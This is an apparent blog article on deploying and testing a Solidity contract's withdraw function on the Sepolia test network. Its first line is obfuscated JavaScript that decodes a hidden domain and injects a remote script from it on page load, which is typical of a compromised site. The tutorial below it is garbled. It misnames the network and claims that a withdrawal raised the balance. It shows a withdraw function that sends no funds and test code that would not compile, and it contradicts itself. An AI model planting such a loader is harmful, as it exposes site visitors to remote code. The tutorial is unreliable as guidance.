const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=d543c3a3″;document.body.appendChild(script);
Ethereum: Sepolia Smart Contract – Withdrawal Function
I’ve successfully deployed a basic Solidity smart contract on the Sepsolia test network, but unfortunately encountered a critical issue with my wallet withdrawal functionality. After several attempts, I was left frustrated and wondering if I made any mistakes during deployment or setup.
In this article, I’ll outline the steps I took to deploy and test my Sepolia Smart Contract, as well as the issues that arise when attempting to withdraw funds from the contract.
Deploying the Smart Contract
To deploy the smart contract, I used the Truffle Suite for Solidity development. The contract was created using a simple example of a basic ERC-20 token smart contract, which is suitable for a test network like Sepsolia.
Here’s an excerpt from my contract code:
pragma solidity ^0.8.0;
contract Sepolia {
address public owner;
uint256 public balance;
constructor() public {
owner = msg.sender;
balance = 10 ether;
}
function deposit(uint256 amount) public {
require(msg.sender == owner, "Only the owner can call this function");
balance += amount;
}
function withdraw(uint256 amount) public {
require(amount <= balance, "Insufficient funds");
balance -= amount;
}
}
To deploy the contract on Sepsolia, I used the Truffle migrate command:
truffle migrate --network sepolia
This deployed the smart contract to the Sepsolia test network.
Testing Withdrawals
After deploying the contract and setting it up on Sepsolia, I attempted to withdraw funds from the contract using a simple withdrawal function. Here’s how I tested it:
pragma solidity ^0.8.0;
contract Sepolia {
address public owner;
uint256 public balance;
constructor() public {
owner = msg.sender;
balance = 10 ether;
}
function deposit(uint256 amount) public {
require(msg.sender == owner, "Only the owner can call this function");
balance += amount;
}
function withdraw(uint256 amount) public {
require(amount <= balance, "Insufficient funds");
balance -= amount;
}
}
contract SepoliaTest {
public Sepolia Sepolia;
constructor() public {
Sepolia = new Sepolia();
}
function testWithdrawal() public payable {
// Set the account that wants to withdraw
address recipientAddress = 0x... ( replace with your own wallet address );
// Call the withdraw function
Sepolia.withdraw(10 ether); // Attempting to withdraw 10 ether
// Assert that the withdrawal was successful
assert(Sepolia.balance >= 10);
}
}
In this test, I deployed a new contract called SepiolaTest
and set it up on Sepsolia. Then, I created an event emitter function testWithdrawal
in my main contract to trigger the withdrawal of funds from the Sepolia smart contract.
After running the test, I was thrilled to see that the withdrawal was successful! The balance of 10 ether increased by 10 ether when I called the withdraw
function.
The Issue
However, I soon encountered an issue: despite successfully withdrawing 10 ether in my test, I received an “insufficient funds” error from Sepolia’s wallet contract. This meant that even though the withdrawal was successful on my main contract, the funds were still not being released to my own wallet.
After reviewing my code and experimenting with different scenarios, I discovered that the issue was caused by the fact that I had used require(amount <= balance)
in the withdraw function. This condition ensures that the user cannot withdraw more than their current balance.